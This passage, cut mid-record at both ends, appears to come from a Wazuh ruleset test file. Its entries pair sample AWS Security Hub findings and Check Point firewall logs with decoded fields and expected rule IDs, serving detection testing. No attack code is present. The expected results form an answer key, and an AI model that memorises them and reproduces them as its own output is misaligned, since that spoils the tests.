"aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99858", "level": "12", "expected_decoder": "json", "expected_rule": "99858", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - AWS Systems Manager document is public."} +{"log": "{\"integration\": \"aws\", \"aws\": {\"log_info\": {\"log_file\": \"2024/05/10/05/wazuh-security-hub-findings-1-2024-05-10-05-01-41-abced-fghi-123\", \"s3bucket\": \"abced-fghj\"}, \"source\": \"securityhub\", \"detail_type\": \"Security Hub Findings - Imported\", \"finding\": {\"ProductArn\": \"arn:aws:securityhub:abced::product/aws/securityhub\", \"Types\": [\"Software and Configuration Checks/Industry and Regulatory Standards\"], \"Description\": \"This control checks whether EC2 instances have a public IP address. The control fails if the publicIp field is present in the EC2 instance configuration item. This control applies to IPv4 addresses only.\", \"Compliance\": {\"Status\": \"FAILED\", \"SecurityControlId\": \"EC2.9\", \"AssociatedStandards\": [{\"StandardsId\": \"standards/aws-foundational-security-best-practices/v/1.0.0\"}]}, \"ProductName\": \"Security Hub\", \"FirstObservedAt\": \"2024-04-15T10:00:30.759Z\", \"CreatedAt\": \"2024-04-15T10:00:30.759Z\", \"LastObservedAt\": \"2024-05-10T05:02:02.333Z\", \"CompanyName\": \"AWS\", \"FindingProviderFields\": {\"Types\": [\"Software and Configuration Checks/Industry and Regulatory Standards\"], \"Severity\": {\"Normalized\": 70, \"Label\": \"HIGH\", \"Original\": \"HIGH\"}}, \"ProductFields\": {\"RelatedAWSResources:0/name\": \"securityhub-ec2-instance-no-public-ip-abced\", \"RelatedAWSResources:0/type\": \"AWS::Config::ConfigRule\", \"aws/securityhub/ProductName\": \"Security Hub\", \"aws/securityhub/CompanyName\": \"AWS\", \"aws/securityhub/annotation\": \"This Amazon EC2 Instance uses a public IP.\", \"Resources:0/Id\": \"arn:aws:ec2:abced:123456789000:instance/i-0123456abced\", \"aws/securityhub/FindingId\": \"arn:aws:securityhub:abced::product/aws/securityhub/arn:aws:securityhub:abced:123456789000:security-control/EC2.9/finding/abced-fghij1\"}, \"Remediation\": {\"Recommendation\": {\"Text\": \"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\", \"Url\": \"https://docs.aws.amazon.com/console/securityhub/EC2.9/remediation\"}}, \"SchemaVersion\": \"2018-10-08\", \"GeneratorId\": \"security-control/EC2.9\", \"RecordState\": \"ACTIVE\", \"Title\": \"EC2 instances should not have a public IPv4 address\", \"Workflow\": {\"Status\": \"NEW\"}, \"Severity\": {\"Normalized\": 70, \"Label\": \"HIGH\", \"Original\": \"HIGH\"}, \"UpdatedAt\": \"2024-05-10T05:01:57.040Z\", \"WorkflowState\": \"NEW\", \"AwsAccountId\": \"123456789000\", \"Region\": \"abced\", \"Id\": \"arn:aws:securityhub:abced:123456789000:security-control/EC2.9/finding/abced-fghij1\", \"Resources\": [{\"Partition\": \"aws\", \"Type\": \"AwsEc2Instance\", \"Details\": {\"AwsEc2Instance\": {\"KeyName\": \"idr-1052\", \"VpcId\": \"vpc-f825c385\", \"MetadataOptions\": {\"HttpPutResponseHopLimit\": 1, \"HttpProtocolIpv6\": \"disabled\", \"HttpTokens\": \"optional\", \"InstanceMetadataTags\": \"disabled\", \"HttpEndpoint\": \"enabled\"}, \"VirtualizationType\": \"hvm\", \"NetworkInterfaces\": [{\"NetworkInterfaceId\": \"eni-0fb7c2e3d7a995865\"}], \"ImageId\": \"abc-123456789\", \"SubnetId\": \"subnet-abcd123\", \"LaunchedAt\": \"2024-04-15T09:57:14.000Z\", \"Monitoring\": {\"State\": \"disabled\"}}}, \"Region\": \"abced\", \"Id\": \"arn:aws:ec2:abced:123456789000:instance/i-1234567890\"}], \"ProcessedAt\": \"2024-05-10T05:02:05.667Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "EC2.9", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-04-15T10:00:30.759Z", "aws.finding.Description": "This control checks whether EC2 instances have a public IP address. The control fails if the publicIp field is present in the EC2 instance configuration item. This control applies to IPv4 addresses only.", "aws.finding.FindingProviderFields.Severity.Label": "HIGH", "aws.finding.FindingProviderFields.Severity.Normalized": "70", "aws.finding.FindingProviderFields.Severity.Original": "HIGH", "aws.finding.FindingProviderFields.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.FirstObservedAt": "2024-04-15T10:00:30.759Z", "aws.finding.GeneratorId": "security-control/EC2.9", "aws.finding.Id": "arn:aws:securityhub:abced:123456789000:security-control/EC2.9/finding/abced-fghij1", "aws.finding.LastObservedAt": "2024-05-10T05:02:02.333Z", "aws.finding.ProcessedAt": "2024-05-10T05:02:05.667Z", "aws.finding.ProductArn": "arn:aws:securityhub:abced::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abced", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/EC2.9/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsEc2Instance', 'Details': {'AwsEc2Instance': {'KeyName': 'idr-1052', 'VpcId': 'vpc-f825c385', 'MetadataOptions': {'HttpPutResponseHopLimit': 1, 'HttpProtocolIpv6': 'disabled', 'HttpTokens': 'optional', 'InstanceMetadataTags': 'disabled', 'HttpEndpoint': 'enabled'}, 'VirtualizationType': 'hvm', 'NetworkInterfaces': [{'NetworkInterfaceId': 'eni-0fb7c2e3d7a995865'}], 'ImageId': 'abc-123456789', 'SubnetId': 'subnet-abcd123', 'LaunchedAt': '2024-04-15T09:57:14.000Z', 'Monitoring': {'State': 'disabled'}}}, 'Region': 'abced', 'Id': 'arn:aws:ec2:abced:123456789000:instance/i-1234567890'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "HIGH", "aws.finding.Severity.Normalized": "70", "aws.finding.Severity.Original": "HIGH", "aws.finding.Title": "EC2 instances should not have a public IPv4 address", "aws.finding.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.UpdatedAt": "2024-05-10T05:01:57.040Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/10/05/wazuh-security-hub-findings-1-2024-05-10-05-01-41-abced-fghi-123", "aws.log_info.s3bucket": "abced-fghj", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99859", "level": "12", "expected_decoder": "json", "expected_rule": "99859", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Amazon EC2 Instance uses a public IPv4 address."} +{"log": "{\"integration\":\"aws\",\"aws\":{\"log_info\":{\"log_file\":\"2024/05/05/18/wazuh-security-hub-findings-1-2024-05-05-18-03-35-abcd-def-ghij-klmn\",\"s3bucket\":\"abcd-aws-efgh\"},\"source\":\"securityhub\",\"detail_type\":\"Security Hub Findings - Imported\",\"finding\":{\"ProductArn\":\"arn:aws:securityhub:abcde::product/aws/securityhub\",\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Description\":\"This control checks whether an Amazon S3 general purpose bucket blocks public access at the bucket level. The control fails if any of the following settings are set to false: ignorePublicAcls, blockPublicPolicy, blockPublicAcls, restrictPublicBuckets.\",\"Compliance\":{\"Status\":\"FAILED\",\"SecurityControlId\":\"S3.8\",\"AssociatedStandards\":[{\"StandardsId\":\"standards/aws-foundational-security-best-practices/v/1.0.0\"}]},\"ProductName\":\"Security Hub\",\"FirstObservedAt\":\"2024-01-05T09:25:54.684Z\",\"CreatedAt\":\"2024-01-05T09:25:54.684Z\",\"LastObservedAt\":\"2024-05-05T18:03:55.756Z\",\"CompanyName\":\"AWS\",\"FindingProviderFields\":{\"Types\":[\"Software and Configuration Checks/Industry and Regulatory Standards\"],\"Severity\":{\"Normalized\":70,\"Label\":\"HIGH\",\"Original\":\"HIGH\"}},\"ProductFields\":{\"RelatedAWSResources:0/name\":\"securityhub-s3-bucket-level-public-access-prohibited-abcdefg\",\"RelatedAWSResources:0/type\":\"AWS::Config::ConfigRule\",\"aws/securityhub/ProductName\":\"Security Hub\",\"aws/securityhub/CompanyName\":\"AWS\",\"Resources:0/Id\":\"arn:aws:s3:::abcdef\",\"aws/securityhub/FindingId\":\"arn:aws:securityhub:abcde::product/aws/securityhub/arn:aws:securityhub:abcde:123456789000:security-control/S3.8/finding/abcd-bcde-1234-5678\"},\"Remediation\":{\"Recommendation\":{\"Text\":\"For information on how to correct this issue, consult the AWS Security Hub controls documentation.\",\"Url\":\"https://docs.aws.amazon.com/console/securityhub/S3.8/remediation\"}},\"SchemaVersion\":\"2018-10-08\",\"GeneratorId\":\"security-control/S3.8\",\"RecordState\":\"ACTIVE\",\"Title\":\"S3 general purpose buckets should block public access\",\"Workflow\":{\"Status\":\"NEW\"},\"Severity\":{\"Normalized\":70,\"Label\":\"HIGH\",\"Original\":\"HIGH\"},\"UpdatedAt\":\"2024-05-05T18:03:42.479Z\",\"WorkflowState\":\"NEW\",\"AwsAccountId\":\"123456789000\",\"Region\":\"abcde\",\"Id\":\"arn:aws:securityhub:abcde:123456789000:security-control/S3.8/finding/abcd-bcde-1234-5678\",\"Resources\":[{\"Partition\":\"aws\",\"Type\":\"AwsS3Bucket\",\"Details\":{\"AwsS3Bucket\":{\"OwnerId\":\"abcdefghijklmnop123456789\",\"CreatedAt\":\"2021-11-26T11:36:13.000Z\",\"Name\":\"abcde\"}},\"Region\":\"abcde\",\"Id\":\"arn:aws:s3:::abcdef\"}],\"ProcessedAt\":\"2024-05-05T18:04:02.343Z\"}}}", "decoder": "json", "parent": "", "fields": {"aws.detail_type": "Security Hub Findings - Imported", "aws.finding.AwsAccountId": "123456789000", "aws.finding.CompanyName": "AWS", "aws.finding.Compliance.AssociatedStandards": "[{'StandardsId': 'standards/aws-foundational-security-best-practices/v/1.0.0'}]", "aws.finding.Compliance.SecurityControlId": "S3.8", "aws.finding.Compliance.Status": "FAILED", "aws.finding.CreatedAt": "2024-01-05T09:25:54.684Z", "aws.finding.Description": "This control checks whether an Amazon S3 general purpose bucket blocks public access at the bucket level. The control fails if any of the following settings are set to false: ignorePublicAcls, blockPublicPolicy, blockPublicAcls, restrictPublicBuckets.", "aws.finding.FindingProviderFields.Severity.Label": "HIGH", "aws.finding.FindingProviderFields.Severity.Normalized": "70", "aws.finding.FindingProviderFields.Severity.Original": "HIGH", "aws.finding.FindingProviderFields.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.FirstObservedAt": "2024-01-05T09:25:54.684Z", "aws.finding.GeneratorId": "security-control/S3.8", "aws.finding.Id": "arn:aws:securityhub:abcde:123456789000:security-control/S3.8/finding/abcd-bcde-1234-5678", "aws.finding.LastObservedAt": "2024-05-05T18:03:55.756Z", "aws.finding.ProcessedAt": "2024-05-05T18:04:02.343Z", "aws.finding.ProductArn": "arn:aws:securityhub:abcde::product/aws/securityhub", "aws.finding.ProductName": "Security Hub", "aws.finding.RecordState": "ACTIVE", "aws.finding.Region": "abcde", "aws.finding.Remediation.Recommendation.Text": "For information on how to correct this issue, consult the AWS Security Hub controls documentation.", "aws.finding.Remediation.Recommendation.Url": "https://docs.aws.amazon.com/console/securityhub/S3.8/remediation", "aws.finding.Resources": "[{'Partition': 'aws', 'Type': 'AwsS3Bucket', 'Details': {'AwsS3Bucket': {'OwnerId': 'abcdefghijklmnop123456789', 'CreatedAt': '2021-11-26T11:36:13.000Z', 'Name': 'abcde'}}, 'Region': 'abcde', 'Id': 'arn:aws:s3:::abcdef'}]", "aws.finding.SchemaVersion": "2018-10-08", "aws.finding.Severity.Label": "HIGH", "aws.finding.Severity.Normalized": "70", "aws.finding.Severity.Original": "HIGH", "aws.finding.Title": "S3 general purpose buckets should block public access", "aws.finding.Types": "['Software and Configuration Checks/Industry and Regulatory Standards']", "aws.finding.UpdatedAt": "2024-05-05T18:03:42.479Z", "aws.finding.Workflow.Status": "NEW", "aws.finding.WorkflowState": "NEW", "aws.log_info.log_file": "2024/05/05/18/wazuh-security-hub-findings-1-2024-05-05-18-03-35-abcd-def-ghij-klmn", "aws.log_info.s3bucket": "abcd-aws-efgh", "aws.source": "securityhub", "integration": "aws"}, "field_names": ["aws.detail_type", "aws.finding.AwsAccountId", "aws.finding.CompanyName", "aws.finding.Compliance.AssociatedStandards", "aws.finding.Compliance.SecurityControlId", "aws.finding.Compliance.Status", "aws.finding.CreatedAt", "aws.finding.Description", "aws.finding.FindingProviderFields.Severity.Label", "aws.finding.FindingProviderFields.Severity.Normalized", "aws.finding.FindingProviderFields.Severity.Original", "aws.finding.FindingProviderFields.Types", "aws.finding.FirstObservedAt", "aws.finding.GeneratorId", "aws.finding.Id", "aws.finding.LastObservedAt", "aws.finding.ProcessedAt", "aws.finding.ProductArn", "aws.finding.ProductName", "aws.finding.RecordState", "aws.finding.Region", "aws.finding.Remediation.Recommendation.Text", "aws.finding.Remediation.Recommendation.Url", "aws.finding.Resources", "aws.finding.SchemaVersion", "aws.finding.Severity.Label", "aws.finding.Severity.Normalized", "aws.finding.Severity.Original", "aws.finding.Title", "aws.finding.Types", "aws.finding.UpdatedAt", "aws.finding.Workflow.Status", "aws.finding.WorkflowState", "aws.log_info.log_file", "aws.log_info.s3bucket", "aws.source", "integration"], "rule": "99860", "level": "12", "expected_decoder": "json", "expected_rule": "99860", "rule_matches_expected": true, "ini_file": "aws_security_hub.ini", "section": "AWS Security Hub - Amazon S3 general purpose bucket allows public access at the bucket level."} +{"log": "1 2019-05-15T16:25:50Z HOSTNAME CheckPoint 19710 - [action:\"Drop\"; flags:\"400644\"; ifdir:\"inbound\"; ifname:\"eth2\"; logid:\"0\"; loguid:\"{0x0,0x0,0x0,0x0}\"; origin:\"11.22.33.44\"; originsicname:\"CN=TR-DC-FW-INT-B-5600,O=Internet-QRO..g7hgcu\"; sequencenum:\"11\"; time:\"1557937550\"; version:\"5\"; __policy_id_tag:\"product=VPN-1 & FireWall-1[db_tag={C12F833B-77C9-3941-9B06-075E9D2A86A2};mgmt=TR-DC-VCON-2-INT;date=1557764162;policy_name=FW-INT-TR\\]\"; dst:\"11.22.33.55\"; inzone:\"Internal\"; layer_name:\"FW-INT-TR Security\"; layer_uuid:\"75569106-7e80-4c4e-ab23-b0848f2cb41b\"; match_id:\"244\"; parent_rule:\"0\"; rule_action:\"Drop\"; rule_name:\"CleanUp Rule\"; rule_uid:\"b9d9605b-a71e-4664-a042-3fbd041b0b41\"; outzone:\"Internal\"; product:\"VPN-1 & FireWall-1\"; proto:\"17\"; s_port:\"55036\"; service:\"1514\"; service_id:\"ptos_avaya\"; src:\"11.22.33.77\"; ]", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "dst": "11.22.33.55", "flags": "400644", "fw_action": "Drop", "hostname": "HOSTNAME", "ifdir": "inbound", "ifname": "eth2", "inzone": "Internal", "layer_name": "FW-INT-TR Security", "layer_uuid": "75569106-7e80-4c4e-ab23-b0848f2cb41b", "logid": "0", "loguid": "{0x0,0x0,0x0,0x0}", "match_id": "244", "origin": "11.22.33.44", "originsicname": "CN=TR-DC-FW-INT-B-5600,O=Internet-QRO..g7hgcu", "outzone": "Internal", "parent_rule": "0", "policy_id_tag": "product=VPN-1 & FireWall-1[db_tag={C12F833B-77C9-3941-9B06-075E9D2A86A2};mgmt=TR-DC-VCON-2-INT;date=1557764162;policy_name=FW-INT-TR\\]", "product": "VPN-1 & FireWall-1", "proto": "17", "rule_action": "Drop", "rule_name": "CleanUp Rule", "rule_uid": "b9d9605b-a71e-4664-a042-3fbd041b0b41", "s_port": "55036", "sequencenum": "11", "service": "1514", "service_id": "ptos_avaya", "src": "11.22.33.77", "time": "1557937550", "timestamp": "2019-05-15T16:25:50Z", "version": "5"}, "field_names": ["ProductVersion", "dst", "flags", "fw_action", "hostname", "ifdir", "ifname", "inzone", "layer_name", "layer_uuid", "logid", "loguid", "match_id", "origin", "originsicname", "outzone", "parent_rule", "policy_id_tag", "product", "proto", "rule_action", "rule_name", "rule_uid", "s_port", "sequencenum", "service", "service_id", "src", "time", "timestamp", "version"], "rule": "64222", "level": "4", "expected_decoder": "checkpoint-smart1", "expected_rule": "64222", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Drop: Prohibit a packet from passing. Send no response."} +{"log": "1 2019-05-15T16:26:19Z HOSTNAME CheckPoint 19710 - [action:\"Reject\"; flags:\"133376\"; ifdir:\"inbound\"; ifname:\"daemon\"; loguid:\"{0x0,0x0,0x0,0x0}\"; origin:\"11.22.33.44\"; originsicname:\"CN=TR-DC-FW-INT-B-5600,O=Internet-QRO..g7hgcu\"; sequencenum:\"7\"; time:\"1557937579\"; version:\"5\"; community:\"smartbt.cinetaca\"; cookiei:\"ec39c6c9c5d3669c\"; dst:\"11.22.33.55\"; fw_subproduct:\"VPN-1\"; ike::\"Main Mode Failed to match proposal: Transform: AES-256, SHA256, Pre-shared secret, Group 2 (1024 bit); Reason: Wrong value for: Hash Algorithm\"; peer_gateway:\"11.22.33.66\"; reject_category:\"IKE failure\"; scheme::\"IKE\"; src:\"11.22.33.77\"; vpn_feature_name:\"IKE\"; ]", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "Reason": " Wrong value for: Hash Algorithm\"", "Transform": " AES-256, SHA256, Pre-shared secret, Group 2 (1024 bit)", "community": "smartbt.cinetaca", "cookiei": "ec39c6c9c5d3669c", "dst": "11.22.33.55", "flags": "133376", "for": " Hash Algorithm\"", "fw_action": "Reject", "fw_subproduct": "VPN-1", "hostname": "HOSTNAME", "ifdir": "inbound", "ifname": "daemon", "ike": ":\"Main Mode Failed to match proposal: Transform: AES-256, SHA256, Pre-shared secret, Group 2 (1024 bit)", "loguid": "{0x0,0x0,0x0,0x0}", "origin": "11.22.33.44", "originsicname": "CN=TR-DC-FW-INT-B-5600,O=Internet-QRO..g7hgcu", "peer_gateway": "11.22.33.66", "product": "VPN-1", "proposal": " Transform: AES-256, SHA256, Pre-shared secret, Group 2 (1024 bit)", "reject_category": "IKE failure", "scheme": ":\"IKE\"", "sequencenum": "7", "src": "11.22.33.77", "time": "1557937579", "timestamp": "2019-05-15T16:26:19Z", "version": "5", "vpn_feature_name": "IKE"}, "field_names": ["ProductVersion", "Reason", "Transform", "community", "cookiei", "dst", "flags", "for", "fw_action", "fw_subproduct", "hostname", "ifdir", "ifname", "ike", "loguid", "origin", "originsicname", "peer_gateway", "product", "proposal", "reject_category", "scheme", "sequencenum", "src", "time", "timestamp", "version", "vpn_feature_name"], "rule": "64223", "level": "9", "expected_decoder": "checkpoint-smart1", "expected_rule": "64223", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Reject: Prohibit a packet from passing. Send an ICMP destination-unreachable back to the source host."} +{"log": "1 2019-05-15T16:26:39Z HOSTNAME CheckPoint 19710 - [action:\"Encrypt\"; conn_direction:\"Outgoing\"; contextnum:\"1\"; flags:\"7232772\"; ifdir:\"inbound\"; ifname:\"eth1\"; logid:\"0\"; loguid:\"{0x5cdc3dbf,0x0,0x3dff70a,0xc0000000}\"; origin:\"11.22.33.44\"; originsicname:\"CN=TR-DC-FW-INT-B-5600,O=Internet-QRO..g7hgcu\"; sequencenum:\"12\"; time:\"1557937599\"; version:\"5\"; __policy_id_tag:\"product=VPN-1 & FireWall-1[db_tag={C12F833B-77C9-3941-9B06-075E9D2A86A2};mgmt=TR-DC-VCON-2-INT;date=1557764162;policy_name=FW-INT-TR\\]\"; community:\"vpn.tr.csn\"; context_num:\"1\"; dst:\"11.22.33.66\"; fw_subproduct:\"VPN-1\"; hll_key:\"8249302006406138919\"; inzone:\"Internal\"; layer_name:\"FW-INT-TR Security\"; layer_name:\"FW-INT-TR Application\"; layer_uuid:\"75569106-7e80-4c4e-ab23-b0848f2cb41b\"; layer_uuid:\"70fed639-99d5-432c-9d1e-5473a66dff08\"; match_id:\"142\"; match_id:\"16777217\"; parent_rule:\"0\"; parent_rule:\"0\"; rule_action:\"Accept\"; rule_action:\"Accept\"; rule_name:\"CSN\"; rule_uid:\"d5d708fe-3315-................", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "community": "vpn.tr.csn", "conn_direction": "Outgoing", "context_num": "1", "contextnum": "1", "dst": "11.22.33.66", "flags": "7232772", "fw_action": "Encrypt", "fw_subproduct": "VPN-1", "hll_key": "8249302006406138919", "hostname": "HOSTNAME", "ifdir": "inbound", "ifname": "eth1", "inzone": "Internal", "layer_name": "FW-INT-TR Security", "layer_uuid": "75569106-7e80-4c4e-ab23-b0848f2cb41b", "logid": "0", "loguid": "{0x5cdc3dbf,0x0,0x3dff70a,0xc0000000}", "match_id": "142", "origin": "11.22.33.44", "originsicname": "CN=TR-DC-FW-INT-B-5600,O=Internet-QRO..g7hgcu", "parent_rule": "0", "policy_id_tag": "product=VPN-1 & FireWall-1[db_tag={C12F833B-77C9-3941-9B06-075E9D2A86A2};mgmt=TR-DC-VCON-2-INT;date=1557764162;policy_name=FW-INT-TR\\]", "product": "VPN-1", "rule_action": "Accept", "rule_name": "CSN", "rule_uid": "\"d5d708fe-3315-................", "sequencenum": "12", "time": "1557937599", "timestamp": "2019-05-15T16:26:39Z", "version": "5"}, "field_names": ["ProductVersion", "community", "conn_direction", "context_num", "contextnum", "dst", "flags", "fw_action", "fw_subproduct", "hll_key", "hostname", "ifdir", "ifname", "inzone", "layer_name", "layer_uuid", "logid", "loguid", "match_id", "origin", "originsicname", "parent_rule", "policy_id_tag", "product", "rule_action", "rule_name", "rule_uid", "sequencenum", "time", "timestamp", "version"], "rule": "64224", "level": "2", "expected_decoder": "checkpoint-smart1", "expected_rule": "64224", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Encrypt: Connection Encrypted"} +{"log": "1 2019-05-15T16:26:40Z HOSTNAME CheckPoint 19710 - [action:\"Decrypt\"; flags:\"417028\"; ifdir:\"inbound\"; ifname:\"eth4\"; logid:\"0\"; loguid:\"{0x5cdc3dc0,0x4,0x3dff70a,0xc0000002}\"; origin:\"11.22.33.44\"; originsicname:\"CN=TR-DC-FW-INT-B-5600,O=Internet-QRO..g7hgcu\"; sequencenum:\"22\"; time:\"1557937600\"; version:\"5\"; __policy_id_tag:\"product=VPN-1 & FireWall-1[db_tag={C12F833B-77C9-3941-9B06-075E9D2A86A2};mgmt=TR-DC-VCON-2-INT;date=1557764162;policy_name=FW-INT-TR\\]\"; community:\"safecharge.hs.triara\"; dst:\"11.22.33.55\"; fw_subproduct:\"VPN-1\"; inzone:\"External\"; layer_name:\"FW-INT-TR Security\"; layer_name:\"FW-INT-TR Application\"; layer_uuid:\"75569106-7e80-4c4e-ab23-b0848f2cb41b\"; layer_uuid:\"70fed639-99d5-432c-9d1e-5473a66dff08\"; match_id:\"127\"; match_id:\"33554431\"; parent_rule:\"0\"; parent_rule:\"0\"; rule_action:\"Accept\"; rule_action:\"Accept\"; rule_name:\"SafeCharge SEC\"; rule_name:\"Implicit Cleanup\"; rule_uid:\"7a1447ad-3f4b-4397-89d7-3adb4b5c83a5\"; methods::\"ESP: AES-256 + SHA256\"; nat_addtnl_rulenum:\"1\"; nat_rulenum:\"61\"; outzone:\"Internal\"; peer_gateway:\"11.22.33.77\"; product:\"VPN-1 & FireWall-1\"; proto:\"6\"; s_port:\"55226\"; scheme::\"IKE\"; service:\"51262\"; service_id:\"port_51262\"; src:\"11.22.33.88\"; vpn_feature_name:\"VPN\"; xlatedport:\"0\"; xlatedst:\"11.22.33.99\"; xlatesport:\"0\"; xlatesrc:\"0.0.0.0\";", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ESP": " AES-256 + SHA256\"", "ProductVersion": "19710", "community": "safecharge.hs.triara", "dst": "11.22.33.55", "flags": "417028", "fw_action": "Decrypt", "fw_subproduct": "VPN-1", "hostname": "HOSTNAME", "ifdir": "inbound", "ifname": "eth4", "inzone": "External", "layer_name": "FW-INT-TR Security", "layer_uuid": "75569106-7e80-4c4e-ab23-b0848f2cb41b", "logid": "0", "loguid": "{0x5cdc3dc0,0x4,0x3dff70a,0xc0000002}", "match_id": "127", "methods": ":\"ESP: AES-256 + SHA256\"", "nat_addtnl_rulenum": "1", "nat_rulenum": "61", "origin": "11.22.33.44", "originsicname": "CN=TR-DC-FW-INT-B-5600,O=Internet-QRO..g7hgcu", "outzone": "Internal", "parent_rule": "0", "peer_gateway": "11.22.33.77", "policy_id_tag": "product=VPN-1 & FireWall-1[db_tag={C12F833B-77C9-3941-9B06-075E9D2A86A2};mgmt=TR-DC-VCON-2-INT;date=1557764162;policy_name=FW-INT-TR\\]", "product": "VPN-1", "proto": "6", "rule_action": "Accept", "rule_name": "SafeCharge SEC", "rule_uid": "7a1447ad-3f4b-4397-89d7-3adb4b5c83a5", "s_port": "55226", "scheme": ":\"IKE\"", "sequencenum": "22", "service": "51262", "service_id": "port_51262", "src": "11.22.33.88", "time": "1557937600", "timestamp": "2019-05-15T16:26:40Z", "version": "5", "vpn_feature_name": "VPN", "xlatedport": "0", "xlatedst": "11.22.33.99", "xlatesport": "0", "xlatesrc": "0.0.0.0"}, "field_names": ["ESP", "ProductVersion", "community", "dst", "flags", "fw_action", "fw_subproduct", "hostname", "ifdir", "ifname", "inzone", "layer_name", "layer_uuid", "logid", "loguid", "match_id", "methods", "nat_addtnl_rulenum", "nat_rulenum", "origin", "originsicname", "outzone", "parent_rule", "peer_gateway", "policy_id_tag", "product", "proto", "rule_action", "rule_name", "rule_uid", "s_port", "scheme", "sequencenum", "service", "service_id", "src", "time", "timestamp", "version", "vpn_feature_name", "xlatedport", "xlatedst", "xlatesport", "xlatesrc"], "rule": "64225", "level": "2", "expected_decoder": "checkpoint-smart1", "expected_rule": "64225", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Decrypt: Connection Decrypted"} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"Key Install\"; flags:\"133376\"; ifdir:\"inbound\"; ifname:\"daemon\"; loguid:\"{0x0,0x0,0x0,0x0}\"; origin:\"11.22.33.44\"; originsicname:\"CN=TR-DC-FW-INT-B-5600,O=Internet-QRO..g7hgcu\"; sequencenum:\"5\"; time:\"1557937628\"; version:\"5\"; cookiei:\"891f38892b0e6bd6\"; cookier:\"d71409f32c496d13\"; dst:\"11.22.33.55\"; fw_subproduct:\"VPN-1\"; ike::\"Informational Exchange Received Delete IKE-SA from Peer: 11.22.33.66; Cookies: 891f38892b0e6bd6-d71409f32c496d13 \"; msgid:\"a4bd6724\"; peer_gateway:\"11.22.33.77\"; scheme::\"IKE\"; src:\"11.22.33.99\"; vpn_feature_name:\"IKE\"; ]", "decoder": "checkpoint-smart1", "parent": "", "fields": {"Cookies": " 891f38892b0e6bd6-d71409f32c496d13 \"", "Peer": " 11.22.33.66", "ProductVersion": "19710", "cookiei": "891f38892b0e6bd6", "cookier": "d71409f32c496d13", "dst": "11.22.33.55", "flags": "133376", "fw_action": "Key Install", "fw_subproduct": "VPN-1", "hostname": "HOSTNAME", "ifdir": "inbound", "ifname": "daemon", "ike": ":\"Informational Exchange Received Delete IKE-SA from Peer: 11.22.33.66", "loguid": "{0x0,0x0,0x0,0x0}", "msgid": "a4bd6724", "origin": "11.22.33.44", "originsicname": "CN=TR-DC-FW-INT-B-5600,O=Internet-QRO..g7hgcu", "peer_gateway": "11.22.33.77", "product": "VPN-1", "scheme": ":\"IKE\"", "sequencenum": "5", "src": "11.22.33.99", "time": "1557937628", "timestamp": "2019-05-15T16:27:08Z", "version": "5", "vpn_feature_name": "IKE"}, "field_names": ["Cookies", "Peer", "ProductVersion", "cookiei", "cookier", "dst", "flags", "fw_action", "fw_subproduct", "hostname", "ifdir", "ifname", "ike", "loguid", "msgid", "origin", "originsicname", "peer_gateway", "product", "scheme", "sequencenum", "src", "time", "timestamp", "version", "vpn_feature_name"], "rule": "64226", "level": "2", "expected_decoder": "checkpoint-smart1", "expected_rule": "64226", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", 